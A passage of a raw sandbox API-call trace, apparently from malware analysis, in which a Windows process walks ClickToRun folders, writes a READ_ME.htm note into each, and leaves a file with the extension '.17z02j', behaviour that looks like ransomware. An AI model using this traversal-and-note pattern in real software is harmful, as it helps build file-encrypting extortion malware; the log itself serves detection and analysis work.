ftCreationTime.dwLowDateTime=0x4e3c68c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.333] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.333] SetErrorMode (uMode=0x0) returned 0x1 [0140.333] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0140.333] SetErrorMode (uMode=0x1) returned 0x0 [0140.333] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.335] GetFileType (hFile=0x1d0) returned 0x1 [0140.335] SetErrorMode (uMode=0x0) returned 0x1 [0140.335] GetFileType (hFile=0x1d0) returned 0x1 [0140.335] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c5eb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28c5eb8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.336] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", lpFilePart=0x0) returned 0x56 [0140.336] SetErrorMode (uMode=0x1) returned 0x0 [0140.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e4f73c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.17z02j", cAlternateFileName="MASTER~1.17Z")) returned 1 [0140.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e51d520, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0140.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.337] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.337] SetErrorMode (uMode=0x0) returned 0x1 [0140.337] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", lpFilePart=0x0) returned 0x56 [0140.338] SetErrorMode (uMode=0x1) returned 0x0 [0140.338] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e4f73c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5230, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.17z02j", cAlternateFileName="MASTER~1.17Z")) returned 1 [0140.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e51d520, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0140.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.339] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.339] SetErrorMode (uMode=0x0) returned 0x1 [0140.339] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm", lpFilePart=0x0) returned 0x62 [0140.340] SetErrorMode (uMode=0x1) returned 0x0 [0140.340] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.341] GetFileType (hFile=0x1d0) returned 0x1 [0140.341] SetErrorMode (uMode=0x0) returned 0x1 [0140.341] GetFileType (hFile=0x1d0) returned 0x1 [0140.341] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ccdf8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28ccdf8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.343] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm", lpFilePart=0x0) returned 0x58 [0140.343] SetErrorMode (uMode=0x1) returned 0x0 [0140.343] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.344] GetFileType (hFile=0x1d0) returned 0x1 [0140.344] SetErrorMode (uMode=0x0) returned 0x1 [0140.344] GetFileType (hFile=0x1d0) returned 0x1 [0140.345] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d1428*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28d1428*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0140.346] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", lpFilePart=0x0) returned 0x4c [0140.346] SetErrorMode (uMode=0x1) returned 0x0 [0140.347] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0140.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e6e65a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0140.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0140.348] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.348] SetErrorMode (uMode=0x0) returned 0x1 [0140.348] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166", lpFilePart=0x0) returned 0x4c [0140.348] SetErrorMode (uMode=0x1) returned 0x0 [0140.348] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0140.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e6e65a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0140.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0140.349] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.349] SetErrorMode (uMode=0x0) returned 0x1 [0140.350] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16", lpFilePart=0x0) returned 0x55 [0140.350] SetErrorMode (uMode=0x1) returned 0x0 [0140.350] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\E728F99D-05D1-4020-9ECE-6DE2EC414166\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\e728f99d-05d1-4020-9ece-6de2ec414166\\en-us.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.350] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e58f940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d736170, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d736170, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e58f940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770, dwReserved0=0x0, dwReserved1=0x0, 